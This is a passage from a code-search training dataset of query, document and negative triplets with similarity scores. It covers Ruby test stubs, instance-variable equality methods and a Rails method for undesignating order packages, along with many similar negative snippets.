"0.5786451",
"0.5782233"
] | 0.5787372 | 98 |
Replace this with your real tests. | def test_truth
assert true
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def testing\n # ...\n end",
"def __dummy_test__\n end",
"def tests; end",
"def tests; end",
"def spec; end",
"def spec; end",
"def self_test; end",
"def self_test; end",
"def test \n end",
"def test_0_dummy\n\t\tend",
"def test\n\n end",
"def test\n end",
"def test\n end",
"def test\n end",
"def private; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def test_method\n end",
"def before_test(test); end",
"def before_test(test); end",
"def graffiti_test\n end",
"def test_truth\n end",
"def test_should_get_index \n get :index\n assert_response :success #making sure the request was successful\n assert_not_nil (:products) # ensuring that it assigns a valid products instance variable.\n end",
"def test_case; end",
"def test_cases; end",
"def running_test_case; end",
"def test_connection\n end",
"def testloop\n \n end",
"def should; super end",
"def test_nothing\n end",
"def default_test\r\n end",
"def my_tests\n end",
"def test_setup\r\n \r\n end",
"def test_intialize\r\n\tassert_equal 0, @test_prospector.current_gold\r\n\tassert_equal 0, @test_prospector.current_silver\r\n\tassert_equal 0, @test_prospector.total_gold\r\n\tassert_equal 0, @test_prospector.total_silver\r\n\tassert_equal 0, @test_prospector.move_count\r\n\tassert_nil @test_prospector.previous_location\r\n\tassert_equal 0, @test_prospector.num_days\r\n\tassert_equal 'Sutter Creek', @test_prospector.current_location\r\n end",
"def testing_end\n end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def test_next_song\n \n \n assert true\n end",
"def assertions; end",
"def assertions; end",
"def test_hack\n assert(true)\n end",
"def setup\n\n end",
"def setup\n\n end",
"def setup\n\n end",
"def test_attributes\n assert_equal \"Gallery 1\", @gallery.title\n assert @gallery.active?\n assert_equal \"f82dd0bd-4711-4578-ac47-4661257e69a6\", @gallery.guid\n end",
"def teardown; end",
"def teardown; end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def before_assert\n end",
"def test_fake_rubies_found\n\t\ttest_main = Main.new(3, 4, 6)\n\t\ttest_graph = Graph.new(10)\n\t\ttest_main.fake_rubies_found(7)\n\t\ttest_main.fake_rubies_found(7)\n\t\tassert test_main.num_fake_rubies, 14\n\tend",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def test_entry\n raise \"Implement this method in your test class\"\n end",
"def tests_song_not_found\n assert_equal =\n end\n\nend",
"def test_playlist\n end",
"def test_listchunk_attributes\n\t\t\n\tend",
"def love_test\nend",
"def test_entry_attrs\n raise \"Implement this method in your test class\"\n end",
"def test_truth\n assert true\n end",
"def stest_method_1(test); end",
"def teardown\r\n end",
"def default_test\n end",
"def test_037\n\n login\n\n #Create some PUs\n\n for i in 0..2\n create_pu('sample_pu'+i.to_s)\n end\n\n pus = Pu.find_all_by_name('sample_pu1')\n pu = pus.last\n pu.created_at =\"2009-05-08 11:30:50\"\n pu.save\n pus = Pu.find_all_by_name('sample_pu2')\n pu = pus.last\n pu.created_at =\"2008-05-08 14:30:50\"\n pu.save\n @@year = \"2009\"\n @@hour = \"14\"\n\n # Open PU management page\n open_pu_management_page_1\n\n # Arbitrary filtering is performed to PU name.\n assert_equal _(\"PU name\"), get_selected_label(\"find_box\")\n\n\n # you have no relevance\n filtering('3')\n assert !is_text_present('sample_pu1')\n assert !is_text_present('sample_pu2')\n assert is_text_present(_('A PU does not exist.'))\n sleep 2\n\n # Delete created data\n @@pu= Pu.find_by_name('sample_pu1')\n @@pu2= Pu.find_by_name('sample_pu2')\n @@pu.destroy\n @@pu2.destroy\n logout\n end",
"def run_fe_tests\n end",
"def after_test(_test); end",
"def after_test(_test); end",
"def after_test(_test); end",
"def setup; end",
"def tests=(_arg0); end",
"def tests=(_arg0); end",
"def test_truth\n april = riders(:rider_1)\n assert_equal \"April Jones\", april.name\n trigger = horses(:horse_1)\n assert_equal \"Trigger\", trigger.name\n event2 = events(:event_2)\n assert_equal \"5 Horse Scramble\", event2.name\n \n end",
"def test_BooksForAnAuthor\n loginRegisterBazzarVoice\n writeReview \n assert true \n end"
] | [
"0.7444841",
"0.6954491",
"0.6913394",
"0.6913394",
"0.6863823",
"0.6863823",
"0.66389537",
"0.66389537",
"0.66238844",
"0.6545616",
"0.6523148",
"0.64830077",
"0.64830077",
"0.64830077",
"0.6406177",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.6389718",
"0.63840616",
"0.63529766",
"0.63529766",
"0.63494617",
"0.63158166",
"0.6271348",
"0.62323266",
"0.6208382",
"0.61812025",
"0.61608577",
"0.61563164",
"0.6136053",
"0.6133934",
"0.61173344",
"0.611512",
"0.6107028",
"0.6097589",
"0.60655326",
"0.60586226",
"0.60586226",
"0.60586226",
"0.60586226",
"0.6058497",
"0.6044739",
"0.6044739",
"0.6027698",
"0.60164845",
"0.60164845",
"0.60164845",
"0.60142195",
"0.59994173",
"0.59994173",
"0.5991951",
"0.5991951",
"0.5991951",
"0.5991951",
"0.5991951",
"0.5991951",
"0.5991951",
"0.5989171",
"0.59814847",
"0.5955953",
"0.5955953",
"0.5955953",
"0.5955953",
"0.5955953",
"0.5955953",
"0.59502023",
"0.59497035",
"0.59426457",
"0.5942114",
"0.59322995",
"0.59299654",
"0.5928559",
"0.591595",
"0.59148794",
"0.59113276",
"0.5904547",
"0.5896999",
"0.58899075",
"0.58899075",
"0.58899075",
"0.58893734",
"0.5882061",
"0.5882061",
"0.5879576",
"0.5877644"
] | 0.0 | -1 |
define equality between two entities by iterating over instance variables and comparing each field for equality | def ==(entity)
rval = true
self.instance_variables.each { |variable| rval &= self.instance_variable_get(variable) == entity.instance_variable_get(variable) }
rval
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def object_equal(obj1, obj2)\n vars1 = obj1.instance_variables\n vars2 = obj2.instance_variables\n return false unless vars1.length == vars2.length\n # if they don't have exactly the same instance_variables names then return false\n return false unless vars1.map(&:to_s).sort.to_s == vars2.map(&:to_s).sort.to_s\n\n equal = true\n some(vars1, proc { |v|\n val1 = obj1.instance_variable_get(v)\n val2 = obj2.instance_variable_get(v)\n if val1 != val2\n equal = false\n true\n else\n false\n end\n })\n equal\nend",
"def ==(other)\n attributes == other.attributes\n end",
"def eql?(other)\n return true if equal?(other)\n\n # two instances for different models cannot be equivalent\n return false unless other.kind_of?(model)\n\n # two instances with different keys cannot be equivalent\n return false if key != other.key\n\n # neither object has changed since loaded, so they are equivalent\n return true if repository == other.repository && !dirty? && !other.dirty?\n\n # get all the loaded and non-loaded properties that are not keys,\n # since the key comparison was performed earlier\n loaded, not_loaded = properties.select { |p| !p.key? }.partition do |property|\n attribute_loaded?(property.name) && other.attribute_loaded?(property.name)\n end\n\n # check all loaded properties, and then all unloaded properties\n (loaded + not_loaded).all? { |p| p.get(self) == p.get(other) }\n end",
"def ==(other)\n return false if self.class != other.class\n fields.all? do |field|\n name = field[:name]\n instance_variable_get(name) ==\n other.instance_variable_get(name)\n end\n end",
"def equality_fields\n [:id, :dealership, :expires, :next]\n end",
"def == (other)\n return true if self.equal?(other)\n return false if self.class != other.class\n self.class.fields.all? { |f| self.field_get(f) == other.field_get(f) }\n end",
"def ==(other)\n self.class == other.class &&\n self.attributes == other.attributes\n end",
"def eql?(other)\n return false if (other.nil? or self.class != other.class)\n ova = other.instance_variables\n iv = instance_variables\n return false if ova.size != iv.size\n iv.each do |vid|\n return false if instance_variable_get(vid) != other.instance_variable_get(vid)\n end\n true\n end",
"def ==(other)\n self.class == other.class &&\n attributes == other.attributes\n end",
"def == other\n return false unless other.kind_of? self.class\n attribute_of.all? do |key, val|\n val.get == other.__send__(key)\n end\n end",
"def ===(other)\n required = self.class.required_attributes\n\n other.respond_to?(:keys) && (common = other.keys & required) &&\n common.size == other.keys.size && common.size == required.size\n end",
"def ==(other)\n @klass == other.class && @attributes == strip_active_record(other)\n end",
"def ==(other)\n Attribute === other && \n !(Expression === other) &&\n relation == other.relation && \n name == other.name && \n self.alias == other.alias && \n original_relation == other.original_relation\n end",
"def eql?(other)\n return false unless self.class.eql?(other.class)\n instance_variables.map do |var|\n instance_variable_get(var).eql?(other.instance_variable_get(var))\n end.all?\n end",
"def eql?(obj)\n return false unless obj.is_a?(self.class)\n fields.each do |tag, _|\n if value_for_tag?(tag)\n return false unless (obj.value_for_tag?(tag) && value_for_tag(tag).eql?(obj.value_for_tag(tag)))\n else\n return false if obj.value_for_tag?(tag)\n end\n end\n return true\n end",
"def ==(other) # :nodoc:\n @attrs == other.attrs\n end",
"def ==(other)\n return false unless other.instance_of? self.class\n attributes == other.attributes\n end",
"def ==(other)\n valid = true\n self.instance_variables.each do |v|\n valid &&= instance_variable_get(v) == other.instance_variable_get(v)\n end\n valid\n end",
"def ==(other)\n return super unless other.is_a?(self.class)\n\n attributes.all? { |name, value| value == other.send(name) }\n end",
"def eql?(other)\n return self.instance_variables.all?{ |v|\n self.instance_variable_get(v).hash == other.instance_variable_get(v).hash\n }\n end",
"def ==(other)\n other.present? && self.attributes == other.attributes\n end",
"def sync_duplicate_obj_attributes(obj1, obj2)\n duplicate_keys.each do |key|\n unless obj1[key].blank? && obj2[key].blank?\n if obj1[key].blank?\n obj1.send(\"#{key}=\", obj2[key])\n elsif obj2[key].blank?\n obj2.send(\"#{key}=\", obj1[key])\n else # Each obj has a value\n if obj1[key] != obj2[key]\n raise ArgumentError, \"#{key} attribute values on the two objects don't match: #{obj1[key]} vs #{obj2[key]}\"\n end\n end\n end\n end\n end",
"def eql?(other)\n return true if equal?(other)\n return false unless self == other\n [:id, :fide_id, :rating, :fide_rating, :title, :gender].each do |m|\n return false if self.send(m) && other.send(m) && self.send(m) != other.send(m)\n end\n true\n end",
"def ==(other)\n name == other.name &&\n color == other.color &&\n age == other.age\n end",
"def vars_eql?(other,vars=nil)\n vars ||= instance_variables\n vars.each do |var|\n # puts instance_variable_get(var)\n if instance_variable_get(var).respond_to? 'is_eql'\n # puts 'responds to is_eql'\n return false if !(instance_variable_get(var).is_eql other.instance_variable_get(var))\n else\n # puts \"mine: #{instance_variable_get(var)} other: #{other.instance_variable_get(var)}\"\n return false if !(instance_variable_get(var) == other.instance_variable_get(var))\n end\n end\n true\nend",
"def ==(other)\n return false if other.nil? || !other.respond_to?(:attributes)\n attributes == other.attributes\n end",
"def ==(other)\n if self.class.identity_map_on?\n super\n else\n return false if other.nil?\n other.is_a?(Dynamoid::Document) && hash_key == other.hash_key && range_value == other.range_value\n end\n end",
"def equivalentValues(other) # JS == operator\n other.is_a?(Object) && unwrap.eql?(other.unwrap)\n end",
"def ==(other)\n self.class == other.class &&\n name == other.name &&\n age == other.age &&\n gender == other.gender &&\n species == other.species &&\n toys == other.toys\n end",
"def matches(other)\n other.kind_of?(QueryField) && other.name == @name && other.operation == @operation && other.boost == @boost \n end",
"def eql?(obj)\n (obj.class == model) && (obj.values == @values)\n end",
"def eql?(obj)\n (obj.class == model) && (obj.values == @values)\n end",
"def ==(other)\n if self.class.identity_map_on?\n super\n else\n return false if other.nil?\n\n other.is_a?(Dynamoid::Document) && hash_key == other.hash_key && range_value == other.range_value\n end\n end",
"def eql?(other)\n other.class == self.class &&\n other.id == self.id &&\n other.operands.sort_by(&:to_s) == self.operands.sort_by(&:to_s)\n end",
"def ==(other)\n self.attributes == (other.respond(:attributes) || {} )\n end",
"def ==(other)\n return false unless self.class == other.class\n self.attributes == other.attributes\n end",
"def ==(other)\n self.class == other.class &&\n attributes[\"_id\"] == other.attributes[\"_id\"]\n end",
"def eql?(other) self.class == other.class and target==other.target and source==other.source; end",
"def eql?(other) self.class == other.class and target==other.target and source==other.source; end",
"def ==(other)\n res = true\n ASSIGNABLE_MEMBERS.each do |k|\n l_val = send(\"#{k}\")\n r_val = other.send(\"#{k}\")\n res = false if l_val != r_val\n end\n res\n end",
"def ==(other)\n date == other.date &&\n user == other.user &&\n text == other.text\n end",
"def ==(obj)\n if obj.instance_of?(self.class)\n compare_attributes = [\"category_id\", \"combo_item_id\", \"quantity\", \"sequence\"]\n compare_attributes.each do |field|\n if self.send(field) != obj.send(field)\n return false\n end\n end\n return true\n end\n return false\n end",
"def attr_equal?(o)\n self == o and\n self.instance_variables_compare(o).empty? and\n self.attributes == o.attributes\n end",
"def ==(other)\n if other.kind_of? Details::Attribute\n self.name == other.name && self.value == other.value\n else\n self.value == other\n end\n end",
"def ==(other)\n self.class==other.class && self.hash==other.hash\n end",
"def equality_fields\n [:status, :plan]\n end",
"def assert_equal_attributes(object, expected_attributes)\n expected_attributes.each do |index, value|\n assert_equal value, object[index], \"#{index}\"\n end\n end",
"def ==(other)\n # If the classes don't match, they cannot possibly be equal.\n if self.class != other.class\n return false\n end\n\n # If the persisted state doesn't match, they also can never be equal.\n if persisted? != other.persisted?\n return false\n end\n\n # When persisted, check the other's id to see if it's the same,\n # cannot possible be equals if they have different ids.\n if persisted? && id != other.id\n return false\n end\n\n # Finally, compare the attributes hash. If all key/values match,\n # they are considered equal.\n attributes == other.attributes\n end",
"def ==(other)\n self.class.valid_attrs.each do |attr|\n return false if read(attr) != other.read(attr)\n end\n true\n end",
"def bt_same_value?(other)\n bt_value_attributes == other.bt_value_attributes\n end",
"def ==(other)\n case other\n when Chair::Row\n @attributes == other.instance_variable_get('@attributes')\n when Array\n @attributes.values == other\n else false\n end\n end",
"def ==(obj)\n (obj.class == model) && (obj.values == @values)\n end",
"def ==(obj)\n return false unless obj.is_a?(self.class)\n fields.each do |tag, _|\n if value_for_tag?(tag)\n return false unless (obj.value_for_tag?(tag) && value_for_tag(tag) == obj.value_for_tag(tag))\n else\n return false if obj.value_for_tag?(tag)\n end\n end\n return true\n end",
"def eql?(other)\n self.class.eql?(other.class) &&\n @primary_keys == other.primary_keys &&\n @columns == other.columns &&\n @with == other.with\n end",
"def ==(other)\n if self.class.attribute_names.include?('id')\n if other.is_a?(::Numeric)\n id == other\n elsif other.class == self.class\n id == other.id\n else\n false\n end\n else\n self.inspect == other.inspect\n end\n end",
"def ==(other)\n return super unless other.is_a?(self.class)\n\n attributes.all? { |name, value| value == other.attributes[name] }\n end",
"def ==(other)\n return super unless other.is_a?(self.class)\n\n attributes.all? { |name, value| value == other.attributes[name] }\n end",
"def ==(other)\n return super unless other.is_a?(self.class)\n\n attributes.all? { |name, value| value == other.attributes[name] }\n end",
"def eql?(other)\n return false unless self.class == other.class\n self.key_attributes == other.key_attributes\n end",
"def prepare_reuse_validation_diff(other)\n original = self.reload!.comparable\n reference = other.reload!.comparable\n unique_identifiers.each { |id| reference[id] = original[id] }\n [original, reference]\n end",
"def ==(other)\n other.kind_of?(model) && other.hash == hash\n end",
"def update_same_fields? model, method\n intersection = fields_from_model(model).map(&:to_s) & fields_from_model_method(model, method).map(&:to_s)\n intersection.present?\n end",
"def eql?(other)\n return false unless other.class == self.class\n\n return identity == other.identity &&\n attributes == other.attributes &&\n session == other.session\n end",
"def ==(other)\n @name == other.name && @amount == other.amount\n end",
"def ==(other)\n properties.all? do |_, property|\n attr_name = property.name\n public_send(attr_name) == other.public_send(attr_name)\n end\n end",
"def == other\n (self.start_value == other.start_value) &&\n (self.value_changes == other.value_changes)\n end",
"def eql?(obj)\n build\n obj.build\n obj.all_info_matches?(@info)\n rescue StandardError\n false\n end",
"def ==(other)\n return true if equal?(other)\n return false if kind_of_inverse?(other)\n other.respond_to?(:cmp_repository?, true) &&\n other.respond_to?(:cmp_model?, true) &&\n other.respond_to?(:cmp_key?, true) &&\n other.respond_to?(:query) &&\n cmp?(other, :==)\n end",
"def ==(other)\n return false if other.class != self.class\n attr_hash == other.attr_hash\n end",
"def == (other_object)\n other_object.x == @x && other_object.y == @y\n end",
"def == (other_object)\n other_object.x == @x && other_object.y == @y\n end",
"def equal_set(expected)\n message = \"#{Helpers.inspect_records(@object)} has the same records as #{Helpers.inspect_records(expected)}\"\n \n left = @object.map(&:id).sort\n right = expected.map(&:id).sort\n \n test_case.assert(left != right, message)\n end",
"def vars_eq?(x1, x2) ; x1[0] == x2[0] ; end",
"def ==( other )\n @x == other.x and @y == other.y and @type == other.type\n end",
"def eql?(other)\n return true if self == other\n @@ATTRIBUTES.each do |att|\n return false unless self.send(att).eql?(other.send(att))\n end\n true\n end",
"def eql?(obj_)\n if obj_.kind_of?(::String)\n obj_ = @_format.parse(obj_) rescue nil\n end\n return false unless obj_.kind_of?(Value)\n index_ = 0\n obj_.each_field_object do |field_, value_|\n return false if field_ != @_field_path[index_] || value_ != @_values[field_.name]\n index_ += 1\n end\n true\n end",
"def equal_set(expected)\n message = \"#{Helpers.inspect_records(@object)} does not have the same records as #{Helpers.inspect_records(expected)}\"\n \n left = @object.map(&:id).sort\n right = expected.map(&:id).sort\n \n test_case.assert(left == right, message)\n end",
"def ==(other)\n @members.map(&:typed_id).sort.join('') == other.members.map(&:typed_id).sort.join('')\n end",
"def == other\n self.id == other.id\n end",
"def equality_state\n instance_variables.sort.map { |name| instance_variable_get(name) }\n end",
"def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n all_tags == o.all_tags &&\n any_tags == o.any_tags &&\n billing_city == o.billing_city &&\n billing_company == o.billing_company &&\n billing_country_code == o.billing_country_code &&\n billing_day_phone == o.billing_day_phone &&\n billing_evening_phone == o.billing_evening_phone &&\n billing_first_name == o.billing_first_name &&\n billing_last_name == o.billing_last_name &&\n billing_postal_code == o.billing_postal_code &&\n billing_state == o.billing_state &&\n email == o.email &&\n last_modified_dts_end == o.last_modified_dts_end &&\n last_modified_dts_start == o.last_modified_dts_start &&\n pricing_tier_name == o.pricing_tier_name &&\n pricing_tier_oid == o.pricing_tier_oid &&\n qb_class == o.qb_class &&\n quickbooks_code == o.quickbooks_code &&\n shipping_city == o.shipping_city &&\n shipping_company == o.shipping_company &&\n shipping_country_code == o.shipping_country_code &&\n shipping_day_phone == o.shipping_day_phone &&\n shipping_evening_phone == o.shipping_evening_phone &&\n shipping_first_name == o.shipping_first_name &&\n shipping_last_name == o.shipping_last_name &&\n shipping_postal_code == o.shipping_postal_code &&\n shipping_state == o.shipping_state &&\n signup_dts_end == o.signup_dts_end &&\n signup_dts_start == o.signup_dts_start\n end",
"def assert_relations_are_equal(a, b)\n assert_not_nil a, \"first relation is not allowed to be nil\"\n assert_not_nil b, \"second relation #{a.id} is not allowed to be nil\"\n assert_equal a.id, b.id, \"relation IDs\"\n assert_equal a.changeset_id, b.changeset_id, \"changeset ID on relation #{a.id}\"\n assert_equal a.visible, b.visible, \"visible on relation #{a.id}, #{a.visible.inspect} != #{b.visible.inspect}\"\n assert_equal a.version, b.version, \"version on relation #{a.id}\"\n assert_equal a.tags, b.tags, \"tags on relation #{a.id}\"\n assert_equal a.members, b.members, \"member references on relation #{a.id}\"\n end",
"def ==(other)\n other.kind_of?(self.class) &&\n @name == other.name && @columns == other.columns && @unique == other.unique?\n end",
"def ==(other)\n other.book_id == book_id && other.author_id == author_id\n end",
"def ==(object)\n ret = false\n \n if object.is_a?(self.class)\n # Check all of the ids for a match\n ret = @issn == object.issn if [email protected]? and !object.issn.nil?\n ret = @eissn == object.eissn if ([email protected]? and !object.eissn.nil?) and !ret\n ret = @isbn == object.isbn if ([email protected]? and !object.isbn.nil?) and !ret\n ret = @eisbn == object.eisbn if ([email protected]? and !object.eisbn.nil?) and !ret\n ret = @oclc == object.oclc if ([email protected]? and !object.oclc.nil?) and !ret\n ret = @lccn == object.lccn if ([email protected]? and !object.lccn.nil?) and !ret\n ret = @doi == object.doi if ([email protected]? and !object.doi.nil?) and !ret\n ret = @pmid == object.pmid if ([email protected]? and !object.pmid.nil?) and !ret\n ret = @coden == object.coden if ([email protected]? and !object.coden.nil?) and !ret\n ret = @sici == object.sici if ([email protected]? and !object.sici.nil?) and !ret\n ret = @bici == object.bici if ([email protected]? and !object.bici.nil?) and !ret\n ret = @document_id == object.document_id if (!@document_id.nil? and !object.document_id.nil?) and !ret\n ret = @dissertation_number == object.dissertation_number if (!@dissertation_number.nil? and !object.dissertation_number.nil?) and !ret\n ret = @bibcode == object.bibcode if ([email protected]? and !object.bibcode.nil?) and !ret\n ret = @eric == object.eric if ([email protected]? and !object.eric.nil?) and !ret\n ret = @oai == object.oai if ([email protected]? and !object.oai.nil?) and !ret\n ret = @nbn == object.nbn if ([email protected]? and !object.nbn.nil?) and !ret\n ret = @hdl == object.hdl if ([email protected]? and !object.hdl.nil?) and !ret\n ret = @naxos == object.naxos if ([email protected]? and !object.naxos.nil?) and !ret\n \n # If no ids matched and either this Citation or the one passed in has no ids then match by titles!\n if (@issn.nil? and @eissn.nil? and @isbn.nil? and @eisbn.nil? and @oclc.nil? and @lccn.nil? and @doi.nil? and @pmid.nil? and\n @coden.nil? and @sici.nil? and @bici.nil? and @document_id.nil? and @dissertation_number.nil? and\n @bibcode.nil? and @eric.nil? and @oai.nil? and @nbn.nil? and @hdl.nil? and @naxos.nil?) or\n (object.issn.nil? and object.eissn.nil? and object.isbn.nil? and object.eisbn.nil? and object.oclc.nil? and \n object.lccn.nil? and object.doi.nil? and object.pmid.nil? and object.coden.nil? and object.sici.nil? and \n object.bici.nil? and object.document_id.nil? and object.dissertation_number.nil? and\n object.bibcode.nil? and object.eric.nil? and object.oai.nil? and object.nbn.nil? and object.hdl.nil? and\n object.naxos.nil?)\n \n ret = @article_title == object.article_title if (!@article_title.nil? and !object.article_title.nil?) and !ret\n ret = @book_title == object.book_title if (!@book_title.nil? and !object.book_title.nil?) and !ret\n ret = @title == object.title if ([email protected]? and !object.title.nil?) and !ret\n ret = @journal_title == object.journal_title if (!@journal_title.nil? and !object.journal_title.nil?) and !ret\n end\n end\n \n ret\n end",
"def ==(other)\n return true if other.equal?(self)\n return false unless other.instance_of?(self.class)\n\n self.class.attributes.inject(true) do |memo, attribute|\n attribute_name = attribute.first\n attribute_type = attribute.last[:type]\n\n # Skip associations\n if attribute_type.include?(LazyResource::Resource) || (attribute_type.is_a?(::Array) && attribute_type.first.include?(LazyResource::Resource))\n memo\n else\n memo && self.send(:\"#{attribute_name}\") == other.send(:\"#{attribute_name}\")\n end\n end\n end",
"def objects_equal?(x, y)\n if x.nil?\n y.nil?\n elsif y.nil?\n nil\n elsif x.is_a?(Hash)\n return nil unless y.is_a?(Hash)\n return nil unless x.size == y.size\n x.each do|k, v|\n return nil unless objects_equal?(v, y[k])\n end\n true\n elsif x.is_a?(Array)\n return nil unless y.is_a?(Array)\n return nil unless x.size == y.size\n for i in 0..x.size\n return nil unless objects_equal?(x[i], y[i])\n end\n true\n else\n return nil if y.is_a?(Hash) || y.is_a?(Array)\n x == y\n end\n end",
"def equal_list(expected)\n message = \"#{Helpers.inspect_records(@object)} has the same records as #{Helpers.inspect_records(expected)}\"\n \n left = @object.map(&:id)\n right = expected.map(&:id)\n \n test_case.assert(left != right, message)\n end",
"def eql?(o)\n if o.instance_of? self.class\n self.instance_variables.each do |v|\n return false if self.instance_variable_get(v) != o.instance_variable_get(v)\n end\n true\n else\n false\n end\n end",
"def ==(other)\n other.is_a?(Money::Bag) &&\n other.currencies == self.currencies &&\n other.currencies.all? {|currency| other[currency] == self[currency]}\n end",
"def identical?\n #Song.first.attributes.each { |v,k| Song.find(:all, :conditions => [\" #{v} like ?\", \"%blah%\"])}\n Song.find(:all, :conditions => [\"name = ? or length = ?\", \"#{self.name}\", self.length]) do |x| \n x.hash == self.hash\n end\n end",
"def ==(other)\n [@name, @value] == [other.name, other.value]\n end",
"def == other_node\n @properties == other_node.properties\n end",
"def eql?(other)\n return false unless(other.kind_of?(__class__))\n return @table == other.table #to_h\n end",
"def ==(other)\n values == other.values if other.respond_to? :values\n end",
"def equal_list(expected)\n message = \"#{Helpers.inspect_records(@object)} does not have the same records as #{Helpers.inspect_records(expected)}\"\n \n left = @object.map(&:id)\n right = expected.map(&:id)\n \n test_case.assert(left == right, message)\n end",
"def ==(other)\n return false if self.class != other.class\n return super if @_lazer_model.required_properties.empty?\n @_lazer_model.required_properties.each do |key_name|\n return false if read_attribute(key_name) != other.read_attribute(key_name)\n end\n true\n end",
"def eqv?(obj1, obj2)\n obj1 == obj2\n end",
"def ==(other)\n other.is_a?(SysproObject) &&\n @values == other.instance_variable_get(:@values)\n end"
] | [
"0.6365919",
"0.6288923",
"0.6226688",
"0.62169",
"0.6111295",
"0.6087191",
"0.598765",
"0.5970042",
"0.59560186",
"0.59450203",
"0.5894917",
"0.5863724",
"0.58579576",
"0.5838317",
"0.58370423",
"0.58349097",
"0.5823593",
"0.58083266",
"0.5806187",
"0.5801017",
"0.58009577",
"0.5774571",
"0.5770725",
"0.5765255",
"0.5741609",
"0.5732007",
"0.5704498",
"0.5703978",
"0.56992567",
"0.56987536",
"0.5698477",
"0.5698477",
"0.568743",
"0.5682525",
"0.56804514",
"0.56735253",
"0.56674504",
"0.5665619",
"0.5665619",
"0.5663523",
"0.5661729",
"0.56602967",
"0.5649571",
"0.5635826",
"0.56300426",
"0.5623249",
"0.5618204",
"0.5611586",
"0.5607637",
"0.5607521",
"0.5598189",
"0.5594038",
"0.5586293",
"0.55858785",
"0.5583481",
"0.5575323",
"0.5575323",
"0.5575323",
"0.5568364",
"0.55636126",
"0.5557679",
"0.5554182",
"0.5519791",
"0.5514985",
"0.5502903",
"0.5502571",
"0.5501533",
"0.55015147",
"0.54987705",
"0.5493894",
"0.5493894",
"0.5493816",
"0.5483686",
"0.5480917",
"0.54806834",
"0.54740703",
"0.54686207",
"0.5463002",
"0.54593223",
"0.5456494",
"0.54555327",
"0.54535246",
"0.54493797",
"0.5430292",
"0.54301566",
"0.5421043",
"0.54161316",
"0.5413308",
"0.54049647",
"0.54048055",
"0.54006785",
"0.5400136",
"0.5394522",
"0.53905946",
"0.5387516",
"0.53846085",
"0.5376335",
"0.53745997",
"0.5374561"
] | 0.660682 | 1 |
undesignate_package params is passed from 'form_nested_params_for_undesignate' | def undesignate(undesignate_package = nil)
packages = undesignate_package ? undesignate_package : @params
OrdersPackage.undesignate_partially_designated_item(packages)
@package.reload.undesignate_from_stockit_order
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def unsolved_params\n \n end",
"def drop_extra_params!(form, params)\n form_data = form['properties']['data']['properties']\n allowed_params = form_data['attributes']['properties'].keys rescue nil\n params['data'].fetch('attributes', {}).slice!(*allowed_params) if allowed_params.present?\n end",
"def unnovel_params\n params.fetch(:unnovel, {})\n end",
"def unparse_params\n @_unparse_params ? @_unparse_params.dup : nil\n end",
"def disable_publication\n find_flat\n @flat.pap = false\n @flat.bienici = false\n @flat.leboncoin = false\n @flat.seloger = false\n @flat.facebook = false\n @flat.update!(flat_params)\n redirect_to flat_path(@flat)\n end",
"def untouchable_params_attributes #:nodoc:\n { :outfile_id => true }\n end",
"def data_package_params\n params.fetch(:data_package, {})\n end",
"def purge_nested_form\n self.target_hostnames.find_all{|r| r.marked_for_destruction?}.each do |c|\n c.delete\n end\n end",
"def unsubscription_params\n params.require(:unsubscription).permit(:kind, :reason_specific,\n choices_attributes: [:id, :completed, :user_id, :specific])\n end",
"def no_group_params\n params.fetch(:no_group, {})\n end",
"def unsolved_params\n params.require(:unsolved).permit(:department, :details, :priority, :status, :topic)\n end",
"def packege_params\n params.require(:package).permit!\n end",
"def unstructured_datum_params\n params.require(:unstructured_datum).permit(:name, :subcriterium_id)\n end",
"def deprovision_groups\n @attributes[:deprovision_groups]\n end",
"def nontrainer_package_params\n params.require(:nontrainer_package).permit(:freeze_time, package_attributes: [:id, :name, :price])\n end",
"def sub_package_params\n params.require(:sub_package).permit(:name, :package_id)\n end",
"def institute_package_params\n params.require(:institute_package).permit(:institute_id, :package_id)\n end",
"def unuse_file_params\n params.require(:unuse_file).permit(:path)\n end",
"def flat_stage_sub_stage_params\n params.fetch(:flat_stage_sub_stage, {})\n end",
"def deprovision_behavior\n @attributes[:deprovision_behavior]\n end",
"def package_params\n params.require(:package).permit!\n end",
"def package_params\n params.require(:package).permit(:client_id, :origin, :destiantion, :arrival_date, :reciver, :status, :po, :ref, :coment, :pack_nr, :unit_ids, :components_ids)\n end",
"def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end",
"def filter_fields\n\t \n\t \tremove_attribute(:version)\n\t \tremove_attribute(:op_success)\n\t \tattributes\n\n\t \t\n\t end",
"def filter_fields\n\t \n\t \tremove_attribute(:version)\n\t \tremove_attribute(:op_success)\n\t \tattributes\n\n\t \t\n\t end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def tour_package_params\n params.require(:tour_package).permit(:title, :days, :nights, :details, :uuid, :father_name_field, :birthdate_field, :place_of_birth_field,:passport_no_field, :en_name_field,:en_surename_field, :en_father_name_field, :attachment_field, :attachment_message)\n end",
